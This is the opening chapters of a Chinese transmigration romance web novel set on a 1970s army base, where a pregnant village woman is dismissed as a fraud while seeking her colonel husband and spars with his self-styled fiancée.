《村姑挺孕肚随军,离婚后首长红了眼》
第1章 霍团长两媳妇
太阳正当午,军区办公室。
“你说你是霍团长的对象?”
张政委看着面前洋气的女子,一身黄白格长裙、微卷长发、小黑皮鞋,妥妥的娇纵大小姐。
“张伯伯,我都说过了,我叫夏千燕,和战北哥哥从小一起在大院长大,我们在海城已经办过定亲宴了。”
夏千燕从精致小包里掏出一张相片,放到桌上。
苏圆圆探头瞟了一下相片,
“啧啧,一群人的相片,又不是你两单独照,啥也说明不了。”
“你说你也是霍团长的对象?”
张政委看向白胖得像个大白馒头的苏圆圆。
霍团长正在前线执行任务,都走了五个多月了。
今天却有两姑娘找上门,都说是霍团长的对象。
他既头疼又困惑。
军区战神——霍战北,那可是五大军区第一刺头,也是年年全**事大比拼的单兵之王。
那小子除了功夫硬,长得俊,还是出了名的姑娘**。
军区里的姑娘们,有一个算一个,见了那小子个个走不动路,眼珠子恨不得粘他身上。
去年闹得沸沸扬扬的那个事,**闺女在礼堂,手捧鲜花,当众向霍战北表白。
结果那小子面不改色,当众直回:
“不好意思,本人天生绝嗣,不能人道,此生不婚不娶。”
“同志,纠正一下,我苏圆圆不是霍战北的对象。”
“哦,不是就好。你这姑娘,话一次也不说完,吓我一大跳。”
张政委笑上眉梢,他说呢?臭小子能有一个对象就已经是奇谈了,怎么可能一下子来了两个。
张政委端起茶缸喝了一口热茶,压压惊。他年纪大了,不经吓。
“我是他媳妇。”
噗——
张政委一口热茶喷出来。满脸惊讶,嘴都合不上,露出两被劣质烟叶熏黄的大门牙。
“媳妇!”
夏千燕失了矜持,尖叫一声,
“战北哥哥怎么可能娶你一个乡下女人,还是个胖得像猪一样的大肥婆。”
肥婆?
还胖得像猪一样的大肥婆?
苏圆圆狠狠瞪着夏千燕,人如其名,瘦成人干,翩若飞燕。
人家穿越,不是穿成公主,就是穿成主母。
她倒好,穿成一个七十年代的乡下姑娘倒也罢了,还是一个几百斤大胖子。
胖就胖罢,还结过婚了。
结过婚也就罢了,肚子里还揣了两崽。
更苦逼得是,原主从乡下老家坐火车,坐驴车,揣崽寻夫三千里,人都到军区大门口了。下驴车的时候踩滑摔倒,头磕到一块石头上,不幸嗝屁了,她好死不活地穿到了原主身上。
原身背着的大包袱里,除了衣裳,就只有一封介绍信里夹着一个小纸条,还有三块八毛钱。
介绍信上写着她的名字和籍贯,来部队探亲。
小纸条上一行男人龙凤飞舞的字:霍战北——山省XX部队XX团团长
这进了军区,还没见着孩子爹,却撞到了一个自称孩子爹对象的洋气女人。
“拜过堂,进过洞房,我不是他媳妇,难不成他霍大团长耍流氓!”
才穿过来,头脑还有些发昏,思路还有些混乱的苏圆圆,正盯着墙上的标语发呆。
备战备荒为人民————1976年
苏圆圆觉得她简直倒霉透了,
千里揣崽探亲,男人没见着,就被人说是骗子,还口口声声说她胖。
忍不了,一点也忍不了。
胖胖的老子不发飙,都当她是病猫啊!
“要不,我不给孩子找爹了。男人我也不认了。我告他QJ我,这样总行了吧。同志,我告——”
苏圆圆态度一百八十度大转弯,不但让张政委怔住了,夏千燕的脸都变黑了。
夏千燕:战北哥哥这身份,被这乡下不长脑子、什么都不懂的肥婆一告;
而且还是因为她激怒的这肥婆。到时候消息传到战北哥哥耳朵里,夏千燕都不敢往下想了。
三天前,她父亲接到了审查书。
夏千燕在她妈的安排下,连夜卷了家里细软,跑路来军区找霍战北了。
夏妈:燕子啊,记住,无论如何这一趟你都得让霍战北娶了你。这样才能保住你,保住你爸爸,保住我们这个家。
QJ!
告那臭小子QJ!
张政委手指里夹着的烟头都忘了弹,直到烧着他手指,他才慌忙丢掉,
媳妇?拜堂?洞房?
张政委嘴张得越发大了,这每一个字他都认识,怎么组到一块,他就看不懂了。
霍战北结过婚了?还是和这个乡下胖姑娘?
打电话,他得赶紧给霍战北那臭小子打电话。
张政委赶紧进里屋打电话。
夏千燕看张政委走进里屋,立马走到苏圆圆面前,
“那个,这位姐姐。咱们有话好好说,”
夏千燕一脸亲昵,
“我夏千燕在此向你保证,只要你愿意回家,不再找战北哥哥的麻烦。工作、钱,你想要什么,我都会帮你办到。”
夏千燕?
霍战北?
苏圆圆眼睛嗖地睁大了。
她刚穿越,脑子还没理清。原主脑子里的记忆,只有男人俊美的脸,八块腹肌,肌肉纠结的胳膊,还有和男主啪啪的一些片断。
怪不得,
她总觉得哪里不对劲呢。
感情,她不是穿越,而是穿书了。
穿进了一本她生前正在看的,军婚年代文《重生小娇妻,军婚甜蜜蜜》里。
那本书的女主就叫夏千燕,是男主霍战北的官配,女主重生后,上演了一出疯狂追夫火葬场。
我呢?
苏圆圆后知后觉地发现,她原来穿成了书里男主的原配,生下一对龙凤胎早死的炮灰前妻。
一想到书中的情节,苏圆圆
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后背冷汗直冒。
剧情:村姑肥妻揣崽军区寻夫。男主认为自己天生绝嗣,肥妻怀的孩子不是自己的,所以等孩子生下来就验血,女主是护士,她换了血,验出来孩子不是男主的。肥妻抱着孩子又哭又闹又上吊,最终弄假成真,喝药死掉了,孩子也被送进了福利院。
后续如何?苏圆圆表示只知道,最后结局女主抱着肥妻的孩子,睡着肥妻的男人,一家三口幸福生活。(她看一半书,直翻结局看的)
具体过程?
她不知道。
小说看到一半,她连续加班三天,做了九台手术后,心梗**了。
千万不要和女主硬钢
,苏圆圆啊,你千万要忍住,小命要紧,苟着点!大不了,咱直接和男主离婚保命。
“三百块钱先给你。”
苏圆圆摸着裤兜里的三毛八分钱。
这人哪,和啥过不去,都不能和钱过不去。
伸手接过钱,还没说话,夏千燕借给钱机会,凑近她,在她耳边低声说,
“我是高中生,还是一个护士,你一个乡下来的肥婆,你凭什么和我抢战北哥哥。”
说完眼神阴毒地盯着她的肚子,
“信不信,明天我就能让你肚子里的孩子,神不知鬼不觉的没了。”
说完,灿然一笑,
“所以,识相的,一会自己和张政委说,你找错人了,拿着钱赶紧滚。”
啧啧,不愧是女主,表面乖乖女,内里白骨精。
苏圆圆已经在心里劝自己千万遍了。
这会子,也忍不住爆发了。
去她娘的什么《重生小娇妻,军婚甜蜜蜜》
老娘我是《穿书大肥妻,摸着军少甜蜜蜜》
“夏大小姐,感情你这是想男人想疯了,我睡过的二手货,你也要。”
“你——粗鄙!”
夏千燕白葱样的手指着苏圆圆,小脸气得通红。
“你不粗鄙!和自家男人睡觉都是粗鄙,怪不得你没人要。”
“你,你——”
夏千燕小手指着苏圆圆,说不出话。
“你什么你,你可别用手指着我,碰掉了我肚子里的孩子,你可赔不起。”
“孩子?你——”
夏千燕嘴唇哆嗦着。
孩子?
张政委刚从里屋出来,听到这话,两颗烟熏大黄牙又诧异地露了出来。
霍战北受伤绝嗣,这可是军中公开的秘密。
张政委目光看向胖姑娘的肚子,又火烧一般转向胖姑娘的脸,再又火烧般转开。
我的娘呀,这可真是大新闻。
霍战北结婚了,娶了一个乡下几百斤胖姑娘。这姑娘竟然还给霍战北戴了绿帽子,揣着别人的崽找上门来。
张政委转身又进里屋,脚步有些飘,他得再给那臭小子打个电话。
霍团长的团在自卫反击战前线,刚才电话没打通,他得赶紧再去打一次
……
第2章 团长你媳妇揣着崽来找你了
“叫你们家霍团长接电话。”
“团长,政委找你——团长——”
电话那头传来大头兵扯着喉咙喊的声音。
“团长在忙,政委你等一下。”
“等啥子等,叫你家团长,马上,立刻跑步过来,就说他媳妇找过来了。”
媳妇?
接电话的大头兵怔了一下。
下意识朝着埋头修车的自家团长喊了一句,
“团长,政委说你媳妇找你。”
“滚犊子,老子哪来的媳妇。”
一身泥血的霍战北抬起头,薄唇冷冽,眉眼如刀,掩不住充血眸子中的疲惫。
大头兵撇嘴,他就说嘛,他们家团长要是结婚了,他们团里的兄弟们怎么没人知道。
“政委,我们团长说他没媳妇。”
张政委一肚子火,噌一下烧得更旺了。
“苏圆圆,有个叫苏圆圆的胖姑娘来找他,说是他媳妇,肚里还揣着他的崽。”
揣崽?
大头兵懵逼了,扯着嗓子,冲着撅着腚钻汽车底下检查的,他们家团长喊,
“团长,你媳妇揣崽了!”
大头兵声音洪亮,带着西北方言,
“政委说就是你媳妇找来了,叫苏圆圆,肚子里还揣着你的崽。”(西北方言味道)
轰,所有声音都没了,大家都张大嘴巴。
他们家团长天生绝嗣。
结婚?媳妇?崽?
片刻后,一片嗡嗡声,
“团长,你媳妇来找你了!”
“团长,你媳妇揣着崽来找你了!”
“我不认识,管他什么圆的方的扁的姑娘。都愣着干啥,还不快干,等着送人头吗?”
任务结束,返程路上,车却开不动了,汽车兵修不了,他们家团长带伤修车,火正大着
呢。
“你们脑子被门夹了吗?整天除了姑娘就是姑娘。没听见团长的话吗?他没媳妇,哪来的崽,什么圆的方——”
班副苏陈皮从汽车底下爬出来,冲着兵们吼一嗓子,突然睁大眼睛,猛转头瞪向霍战北,
“苏圆圆,圆宝,那不是我妹吗?”
你妹?圆宝?霍战北眼神闪过一抹迷茫。
苏陈皮怒了,
“苏圆圆,就是我妹啊,你媳妇啊!老子刚才被你带偏了,你咋说你没结婚呢?你媳妇不就是我妹吗?”
苏陈皮愤怒地一腿顶上霍团长,严重妹控下使他一时忘了他们家团长的狠厉。
霍战北下意识一闪,伤腿一崴,整个人跌下山坡,好死不活地落到了一个猎人的陷阱里。
躺平看着陷阱上空无数闪动的星星
霍战北脑子里轰一下有东西炸掉了。
几个月前,那段不堪的记忆瞬间涌上来
……
唔……
“说,你的名字!”
黑夜中看不清身下姑娘的容颜,霍战北只感觉到一片皮肤的细腻柔滑。
他只不过住进战友苏陈皮的农村老家,请他爷爷,一个乡下老中医帮着治他受伤绝嗣的毛病。
没想到,一碗汤药喝下去,全身燥热,头脑发昏。
更不知道,他的床上怎么会睡着一个年轻姑娘。
他咬牙硬撑,没想到姑娘却主动扯开了……
一双胖手,把他全身摸了个遍,
直到……
接下来的事情,完全脱离了他的理智和掌控。
“告诉我,你的名字!”
咬牙切齿,又完全控制不住……
“苏圆圆,你媳妇。”
姑娘声音娇娇软软,
“苏圆圆。”
明明理智在叫嚣停下来,可那双柔软的手却…
终于霍战北忍无可忍……
在那一片……中,
一遍又一遍……
“嘶……”
娇柔至极的声音,媚到了骨子里,终于烧尽了霍战北最后一丝理智。
从天黑到黎明,最后他大汗淋漓地倒下去时,脑海里闪过最后一个念头是:
要是让老子找到,是哪个下三滥给老子使了这么下作的手段,老子一定弄死他。
不对,还给这姑娘下了药,扔他床上。
弄死他,老子一定要把他找出来,弄死他一万遍!
第二天,
霍战北睁开眼睛,头疼欲裂。
目光落到他身边的那团大肥肉上,瞳孔巨震。
“你是?”
“什么你不你的,人家叫苏圆圆,你媳妇。”
圆盆脸、水桶腰、油腻腻的头发,一股子说不明的体味。
“人家可是个大姑娘,跟了你,你可不能提了裤子就不认账啊!”
霍战北实在想不到,昨天他竟然是抱着这样一个“大姑娘”睡了一次又一次……
哗啦!
门开了,一个胖大婶走了进来,正是昨天热情接待他,给他铺床叠被,送洗脚水,送汤药的战友的娘——村长媳妇马冬梅,
“娘!”
胖姑娘一见马冬梅,扯过被子盖住身子,一张胖脸红成了大苹果。
娘?送汤药?
霍战北还有啥不明白的,他要弄死一万遍的人就是眼前这个马冬梅。
村长媳妇,他战友苏陈皮的亲娘,也是面前这个胖姑娘的亲娘。
他来治什么绝嗣的病,分明是一头肥羊一步步进了生死场。
“小霍啊,你
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看看这事弄得。我们家好心帮着你治病,你却睡了我家宝贝闺女。”
马冬梅啧啧两声,
“我公公是十里八村出了名的老中医,我家男人是村长,我生了五个儿子,身前就这一个宝贝闺女。你可是我们家老三的战友,你这事做得可不地道。”
“人家清白都给了你。你可不能不认账。”
胖丫挤着嗓子哭叽叽。
这丫头一身肥肉,五官挤成一团,倒是这个声音又柔又媚。
昨晚听了有多勾魂,今天听了就有多恐怖。
霍战北还没说话。
当啷,哗……
门口站着带他来治病的战友苏陈皮——苏家排行老三。
一脸震惊,脚下一片水,翻着一个红花搪瓷盆。
……
“团长,你可别说我不帮你。”
半小时后,苏家村南河堤树下,苏陈皮盯着提着背包要走的霍战北,
“我爷爷兄弟三个,我爹兄弟四个,我们兄弟五个。我们苏家三代几十个男人,只有圆宝一个女娃娃。你今儿真要走,别看你是个兵王,缺胳膊断腿你也走不出我们苏家村。”
霍战北俊脸一片冷厉,
“这天底下还没有能留下我的人。”
苏陈皮轻笑一声,
“我们苏家村男人世代行医,能救人,也能**。霍团长,你确定你能清醒着离开苏家村。”
霍战北:他们要是像昨晚一样,给他下点药,他还真打不出去。
苏陈皮叹息一声,
“昨儿是我娘换了我爷给你熬的药,下得是给我们家大黑牛吃的药。别看我爹是村长,在外面全村人都听他的,可回家他得听我娘的。”
苏陈皮耷拉下眼皮,
“我娘熬了两碗药,一碗端给了你,另一碗给了我妹。”
苏陈皮干笑两声,
“你走不了,我爹已经去公社给你们打结婚证了。我娘叫了全村的老娘们来家里准备婚礼了。”
苏陈皮干咳一下,
“其实我妹圆宝小时候挺漂亮的,只不过六岁出了点事,就变成这样了。以后瘦下来,一准比刘晓庆还俊。”
霍战北:不管咋,是我睡了人家姑娘,我一准得娶人家。只是老子得回去,带着家人来提亲,正儿八经地娶亲,不能这样被人逼着,算咋回事。
苏陈皮嘿嘿,
“族里老人说了,我妹圆宝是个福星,天生旺夫命。你娶了不亏,进门后一准让你三年抱两。”
霍战北鼻子里哼一声:他天生绝嗣,这家伙真是懂得戳人心窝子的,还三年给他抱两,谁的,还没进门就想给他戴绿帽子了。
第3章 你就是个女骗子
“霍团长说他没媳妇。”
张政委看着胖丫,强忍着没把大头兵传的霍战北原话说出来。
“我XX他——”
苏圆圆心里狂喷狗男人,感情真是提了裤子不认人的货。
“我早说过了,你就是个乡下骗子。我家战北哥哥要是真结婚了,军区和海市家里怎么没人知道。更别说娶个乡下死肥婆了。长得比猪还难看。”
苏圆圆:又来了,肥婆就肥婆吧,还乡下死肥婆。还拿她和猪比。女主这嘴咋这么碎,这么毒呢。
“说我是猪,那你是啥?瘦得像麻杆,没腰没胸没屁股,像个四两的麻雀子在天上飞。不说话没人把你当哑巴,到哪都显着你了。”
“你——你粗鲁!”
“你张口说人家肥婆,闭口叫人家猪,你不粗鲁。难不成你不想当麻雀子,还想当凤凰啊。也不撒泡尿照照自己,我敢说,你敢应吗?”
苏圆圆:不好意思,能打能骂家学渊源。我没考上大学当医生前,可是在乡下陪着我奶过了十几年。
我奶那可是村里第一泼辣老奶奶,骂遍全村无敌手。
“你——”
夏千燕毕竟是海市的娇小姐,论玩心眼阴险毒辣;骂人打架,勉强算个业余,哪里是苏圆圆的对手。
“你等着。”
夏千燕转身进了里屋,
“张伯伯,我这就给**阿姨打电话。”
“**阿姨,我来到部队了。战北哥哥出任务去了,还没回来。有个乡下来的几百斤胖丫头,说她是战北哥哥的媳妇,还挺着个大肚子,非说怀了战北哥哥的孩子。”
里屋传出夏千燕委屈的声音。还特别在孩子上面加重了语气。
“什么,叫你们政委接电话。”
温**(霍战北的亲妈)立马火了。
夏千燕追他儿子几年,她好说歹说,儿子都不同意结婚。没经儿子同意,两家大人直接帮两孩子办了订婚宴。
几年前,他们霍家出事,夏千燕立马悔婚跑回海市去了。
说起来,因为这事,夏千燕如今再来吃回头草,温**心里也是不痛快。
可没法,谁让她们家儿子伤了要害,看了多少医生,都说这辈子和孩子无缘了。
千燕家庭好,长得好,高中生,还是个护士,难得回头,温**能不接受吗。
“嫂子,我是张向荣。”
“向荣啊,你也是个糊涂的。我儿子要是结婚,我们家老霍能不让你随份子?”
温**一句话,张政委闹了个大红脸。
他也是被这两姑娘都冲上来,争着说是霍团长媳妇,弄昏头了。
亏他给人做了一辈子思想工作,居然会犯这种低级错误。
从里屋再出来,张政委难得黑了脸,越看苏圆圆,心里越堵得慌,
“你这个胖丫头,胆子可不小,**都闹到部队来了。”
刚才里屋的话,苏圆圆全听在耳朵里。
“我没**,我真是霍战北媳妇。我和他结婚是个意外,他说他一回来就会向部队打结婚报告。我哪知道,他还没告诉家里人啊。”
苏圆圆把介绍信和纸条都拍在桌子上,
“我的证据在这里。”
介绍信是村里开的,写着苏圆圆的身份信息和前来部队探亲,上面盖着大队里的红印。
“这上面只写着她是来部队探亲的,又没说找的是战北哥哥,更没说她是他媳妇。证明不了什么。”
夏千燕得意洋洋,刚才胖丫还说她的相片证明不了,她是战北哥哥的对象。
哼,胖丫的介绍信也证明不了,她是战北哥哥的媳妇。
“你是政委,你应该认识这纸条上的字,你说这是不是霍战北的笔迹?”
张政委:纸条上写着霍战北的名字和团队番号。的确是臭小子的笔迹,和他那个人一样狂放。
“你是骗子,敢到部队行骗,这纸条说不定就是你偷的,模仿的呢?”
“除了物证,我还有人证。”
苏圆圆没想到女主还挺有脑子。
“我三哥苏陈皮就在部队,你们叫我三哥来。他能证明。”
苏陈皮?
张政委眼皮子狂跳一下。
“你说的是不是霍战北团里的三班班副苏陈皮,皖省苏家村的。”
“对,就是他,我三哥。政委,你认识我三哥吧?”
张政委烦燥地弹掉烟头,
“苏陈皮不在部队,他一起执行任务去了。”
苏圆圆:点这么背的吗?她记得原书中没
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有这一出啊。
对,原书中也没有夏千燕和她同时出现在部队,争夫这一出戏。
原书中,原主直接来军区,霍战北也在外出任务,是小勤务兵接到她,把她安排住在招待所,第二天霍战北就回来了。
夏千燕是她生孩子前三天才来到部队的。
难不成因为她的穿书,引起了蝴蝶效应,改变了书中情节,头大。
“怪不得你赖上战北哥哥,我前面还纳闷你一个乡下丫头,连县城都不一定知道在哪。怎么可能大着肚子,一个人跑部队里来,直接冒认军婚,还指名道姓地找战北哥哥。”
夏千燕目光死盯着苏圆圆的肚子,
“原来你是苏班副的亲妹子,你村里的介绍信,应该是给你开了让你来探亲,看你哥哥的吧?”
夏千燕知道,不管用什么办法,她是绝不能让胖丫被部队,当成战北哥哥的媳妇留下来。
“你哥哥是战北哥哥团里的班副,他能帮你拿到战北哥哥的纸条,甚至帮你模仿战北哥哥的笔迹都很容易。”
“你来部队这事,你哥也知道?”
张政委脸沉了下来。
“我哥不知道,霍战北就是我男人,我们办了婚礼的,我们苏家村全村三百多号老少爷们都能证明。”
苏圆圆实在没精力再在这磨蹭下去。
她头有些晕,眼前一阵阵发花。
也不知是原身坐车时间太长晕车,吃的饭都孕吐了。还是她才穿来不适应。
“霍战北如果不是我男人,我肚子里的孩子哪来的?”
苏圆圆肚子一挺,一副我一个人,难不成还能怀个孩子出来。
谁知她话音一落,张政委和夏千燕目光对视一下,张政委一脸拉不出屎的憋屈样。
夏千燕唇挂讥讽,
“你肚子里的孩子怎么怀上的,你自己最清楚。但绝不会是战北哥哥的。”
眼看两个姑娘又要吵起来,张政委听了温**的话,又知道了胖丫是苏陈皮的妹子,他就再没耐心了,脸一沉,
“霍战北绝嗣,全军区人都知道。他说他这辈子不婚不娶。所以你不是他媳妇,孩子也不是他孩子。”
“对,你就是个女骗子!”
夏千燕得意洋洋。
第4章 借我十块钱呗
张政委给人做了一辈子思想工作,从没对人说过这么重的话,何况还是对一个没结婚就怀上孩子的姑娘家。
他也是真生气了。
苏圆圆:我倒,霍战北这个狗男人,居然这么勇的吗?
绝嗣是什么很光荣的事吗?
居然敢对全军区的人说这话,他男人的尊养还要不要了。
是真的脸皮厚到不要脸,还是别有隐情?
张政委摆摆手,
“苏圆圆同志,看你是个孕妇,就不追究你了。你走吧。你要再闹下去,我们就会给你三哥一个处分。”
什么年代了,还搞诛族连坐!
苏圆圆撇了一下嘴,但她不能连累她三哥。
“霍战北如果不死在外面,是不是明天就会回来?”
苏圆圆:记得原书剧情,霍战北就是原主在招待所住一晚,第二天就回来了。
张政委脸抽了一下,这胖姑娘嘴可真毒,张嘴就骂臭小子死,还说她是人家媳妇。骗鬼鬼都不信。(他忘了,刚才他一直相信来着。)
“是。”
“那你给我叫他的小勤务兵姓郑的那个来。”
“跟霍团长一起出任务去了。”
苏圆圆:好吧,这个剧情也改了。也不知霍战北明天回来这个点有没有变。
“这都是骗人的东西。”
夏千燕趁着两人谈话没注意她,拿起桌上的介绍信,几下撕成碎片。
“狗燕子,你可真不给人留活路啊!”
苏圆圆胖手指着夏千燕,
“狗燕子,你太过份了!你以为你毁了我的证据,你就能抢走霍战北了?我要让你看看,你今天有多嚣张,明天等霍战北回来,我就让你有多打脸!”
介绍信和纸条都被狗燕子撕了。
她也回不去村里了。
口袋里只有三毛八分钱,
她只能在这里等霍战北和她三哥回来。
“同志,你能借我十块钱吗?我哥回来我让他还你。”
苏圆圆本来想说等我男人霍战北回来,我让他还你。
可一想这时候她提霍战北,政委同志一准不会借她钱。
张政委:一想到苏陈皮那小子去还他十块钱的场景,他脸就忍不住又抽一下。
“你不是有三百块钱吗?”
夏千燕瞪大眼睛,一脸我刚给了你三百块钱,你还借人钱,你有病吧你!
苏圆圆似笑非笑,
“我一个乡下来的穷丫头,我咋可能有那么多钱。”
转头冲着张政委摆个老实相,
“我口袋里只有三毛八分钱,刚才和那纸条放在一起,同志你都看到了。你不借我钱,总不能让我一个孕妇睡外面吧?”
张政委:他刚才的确看到这胖丫只有三毛八分钱,还全都是皱巴巴地团在一起。
“张伯伯你别借她,她满嘴都是谎话。她有钱,三百块钱,刚才我——”
苏圆圆的馒头脸凑过来,夏千燕的话卡在嗓子里。
“狗燕子,你不会说你刚才给了我三百块钱吧?咱们两非亲非故的,你怎么会给我钱呢?难不成你是有什么不想让人知道的事,要花钱堵我的嘴,还是……”
夏千燕立马卡壳,脸上一阵青,一阵红的。
是啊,她差点说错话,暴露了自己。她没事干嘛凭白无故给这胖丫钱啊。
夏千燕:幸好这胖丫死爱钱。
“给你十块钱,自己出去找地方住,明天苏陈皮回来,让他送你回去。不要让那小子找我还钱,告诉那小子,我这一辈子都不想再见到他。”
苏圆圆接过十块钱,笑眯了眼,一连声说,
“好,都听你的。”
反正谁给她钱,谁就是大爷。还是不让还钱的大爷,多好!
苏圆圆一心只认为,张政委嫌她晦气,嫌她麻烦,才不想见她和三哥兄妹两。
她哪知道张政委心里的苦啊!
“狗燕子,明天见!”
苏圆圆摆了一下小胖手,手里的十块钱像张扬的旗,每一下都耻辱地打着夏千燕的脸。
她另一只手提了一下大包袱,背了一下,没背起来,再背一下,嗯,眼前一阵阵金星直冒。
然后就是一片黑。
苏圆圆她晕了过去,竟然在两人眼皮子底下,就这么华丽丽地晕了过去。
嗯,摔倒的时候,她好像听到撞到地上的声音。
她这么胖,会不会把地板砸个坑啊?
晕倒前,她脑子里最后想的竟然是这句话。
小胖手还死死捏着那十块钱。
……
睁开眼,苏圆圆发现
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自己正躺在一张床上,夕光洒进病房。
一个护士看她醒了,冲她温柔一笑,
“你放心,你肚子里的孩子没事。你只是低血糖,饿晕过去了。”
苏圆圆看到护士胸前挂的牌子:某科室护士张红英
想到书中三哥在部队医院有一个对象,好像就是叫张红英。
“你是孕妇,这样也不算多胖。等孩子生下来,再减也不迟。男人的话,你听听也就罢了,还是自己身子和肚子里的孩子最重要。”
张红英:这胖军嫂怀着孩子都能饿晕过去,一准是她家男人嘴太毒心太直,说她胖不好看,她为了男人节食,才饿晕的。
“我是苏陈皮妹子。”
苏圆圆眼睛亮晶晶盯着张红英,三哥果然眼光不错,选的这个姑娘心还挺善良。
“你是我三嫂吧?”
张红英一怔,没想到,这胖姑娘竟然是苏陈皮妹子。听她这么直白叫自己三嫂,立马羞红了脸,
“你可别瞎说。”
“三嫂,我听我三哥说,你就是他对象。所以你就是我三嫂,我只认你一个嫂子,我三哥要是对你不好,我回家让我娘打断他的腿。”
张红英知道苏陈皮家有一个团宠妹子叫苏圆圆。
她还以为是个蛮横刁钻的,没想到这么可爱。
“我来部队找我男人,看我三哥的,没想到他两都不在。”
张红英:没听苏陈皮说他家妹子结婚了啊!
“圆圆,你是才来部队探亲的吗?还没见着你男人吗?”
张红英觉得刚才自己想错了,原来苏陈皮妹子是怀着孩子来探亲,路上太辛苦,累晕的。
张红英:妹子的男人是哪个,肯定不是个好东西。媳妇挺着肚子来探亲,自己就是出任务,也得提前安排个人接啊!
“唉,可别说他了。反正过两天就回来了。”
“那你现在住哪,你还怀着肚子,可不敢一个人。”
“我打算去住招待所,可是……”
张红英:住招待所,看样圆圆男人的级别不高,不能随军。
“你一个**着肚子住招待所不安全,还是先跟我回家,过两天你哥回来了,我再送你过去。”
张红英:再一次忍不住蛐蛐圆圆的男人!
第5章 给狗接生
这时候,一个护士跑过来,
“红英,你奶奶说你家狗生了半天,生不下来,要你问问产科,可有谁会给狗接生。”
“我去看看吧?”
“你?”
“我奶奶是我们村的接生婆,我打小就跟着她去人家,看她接生。”
苏圆圆嘿嘿,
“我们附近几个村,就我奶一个接生婆,不但接人,猪狗牛羊生不下来崽的,也请我奶。”
她虽然学的是治人,但她也挺喜欢治动物。
大学时候,她在动物医院里打过工,给小动物灭个虫、开个刀、煽狗阉猫那都是手到擒来。
“那真麻烦你了,快跟我来。”
一边走路,两人一边聊,苏圆圆这才知道,为何张红英一家对一条狗这么着急。
感情这条狗是军犬,立过功,受过伤才退役的。
……
夜晚降临,油灯初上,张家堂屋,
“快来,圆丫头,你坐奶奶身边。”
张奶奶热情拉苏圆圆坐在她身边,把一大碗红烧肉往她面前推了一下,
“快尝尝,这可是奶奶的拿手好菜。”
“娘,向荣也该下班了吧?”
红英妈看了一眼门外。
“不等他,咱先吃。”
大门就在这时被人推开了,
一个穿军装的男人,推着一辆二八大杠自行车进了院,把车子一扎,转头,
“娘,红英妈我回来了。嘿,今天探亲回来的战友送了条腊肉,肥着来。”
咦,这声音听着咋这么耳熟?
苏圆圆抬头,男人正好进屋,四目相对。
张政委:这骗子胖丫咋跑我家来了?
苏圆圆:军营她就认识一个人,这都能撞见!
张政委不满地看向闺女,他怎么就忘了这个碴呢。
自家这死犟的闺女,咋就认定了苏陈皮那个乡下来的臭小子呢?
一个乡下穷小子,兄弟五个,24岁了才混到一个班副。
哪里配得上他张家的独生闺女。
可没法,闺女偏就认定了那小子,他和媳妇怎么劝都没用。
“你这丫头,咋这么犟呢?”
张政委冷下脸,
“你别说你找来我家,就是住我家,我也……”
张政委的话没说完,就被他娘接了去,
“圆丫头帮我们家将军接生了。”
将军生崽了?张政委脸色缓了下来,没想到这胖丫还有这本事。
“我还顺手给它做了结扎手术。以后你们就不会再担心它怀崽子了。”
“将军难产,圆圆会接生。是我把圆圆请到家里,帮着将军接生的。”
张红英看着她爸的脸色不太对劲。
“你在外面工作摆脸子,回到家可不兴狗脸猫脸的,让人瞧着无端不痛快!”
张奶奶啧了儿子一句,又笑着转向苏圆圆,
“来,圆丫头,咱吃肉。”
这时,门突然又被敲响了。
谁啊,赶着饭时往人家来,太没有礼貌了。
红英妈不高兴地去开门,
门开了,一个穿着洋气的姑娘提着一个铁盒子走了进来。
苏圆圆:这世界也忒小了,居然是夏千燕。
“哎哟,我当是谁呢?原来是我们霍团长的新媳妇啊。都是邻居,你来串门就来,咋还带了礼呢?”
红英妈脸上笑开了花。
她家隔壁院子就是霍团长家。
平时,霍团长不是住在团宿舍,就是出任务,回来很少。隔壁一直没有人气。
今天下午隔壁来了一群大头兵,叮叮当当收拾了一下午。
搬进来一个洋气的姑娘,满家属院和人打招呼,说是霍团长的新媳妇。
哎哟天爷,这姑娘可真洋气,部队里谁不知道,就是霍团长明言自己绝嗣,还是有许多姑娘想嫁入霍家。
红英妈知道,自家男人是政委,论级和霍团长平级,但霍家那是什么人家。
自然是她们张家巴结不上的。
没想到,霍团长这新媳妇是个懂事的,主动带礼上门。
“快来,坐下吃。今儿我婆婆烧了红烧肉,坐下尝尝。霍团长出任务还没回来,你一个人也做不着饭,省得去食堂打了。”
“你?怎么也在这儿?”
夏千燕一走近饭桌,一眼看到坐在桌边的苏圆圆,眼睛瞪圆,脸上颧骨更显突出了。
“我怎么不能在这里?你一个假对象都敢住人前站。我肚子里还揣着霍战北的崽,我怎么就不能在这里?”
张奶奶:圆丫头竟然是霍团长媳妇,太好了,以
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后可以和圆丫头做邻居了!
红英妈:今天部队传遍的大新闻,两个探亲姑娘争当霍团长媳妇,没想到两主角都在自己面前!
张红英:圆圆的狗男人竟然是霍团长?她刚才一路上可没少在圆圆面前蛐蛐她男人!
张政委:?
……
夕阳西下,一辆军车在荒野里朝着军区奔驰。
“团长你可不能有事,你万一有事,我妹子就成寡妇了。”
苏陈皮捂着霍战北的伤,他们团长本来就受伤了,这又掉进猎人陷阱,伤得更重了。
“我妹子千里遥远跑来找你,也没有人接待她。我妹子可是打小被宠着长大的,要是在你这受了委屈,我爹我娘过来能骂死你。我们全村三百多号人都能跑来骂死你。”
霍战北闭眼,不想理逼逼叨叨的苏陈皮,要不是他一直嚷自己没良心,才娶了他妹子转眼就忘脑后了。
还提腿揣他,他也不会分心,摔进猎户陷阱,让自己原本受伤的腿彻底废了。
“苏班副,你就不能盼着我们团长好一点吗?我们团长只是伤了腿,你就骂我们团长死。”
开车的小勤务兵郑好一开口,立马感觉到后背一阵发冷,像被猛兽盯上的感觉。
“郑好,出任务前,我让你送结婚报告资料,给**部王主任,你送了吗?”
“结婚申请报告?”
郑好手一抖,声音哆嗦,
“团——团长,你给我的不是任务军需清单申请表吗?”
郑好:完犊子了!五个月前出发时,团长临行前,的确扔给他一个资料袋,让他交给组织。
当时车声人声太响,他听成是任务军需清单,直接交给军需处了。
苏陈皮吼了一嗓子,
“死郑好,看你干的啥破事。你把团长和我妹的结婚报告交给军需处了。”
苏陈皮脸色难看,
“怪不得张政委打电话来问,看来我妹到部队说不清,被人怀疑是骗子了。”
苏陈皮盯着装睡的霍战北,
“你还说了你没媳妇。团长,我告诉你,我妹那脾气可不是闹着玩的。这一回,你不但没媳妇了,你连儿子也没了。”
霍战北:媳妇是我的,但孩子不一定。
……
第6章 胖的那一个才是我媳妇
一个小时后,军区医院,苏陈皮拉住刚跑过来的郑好,
“郑好,找到我妹子没有?”
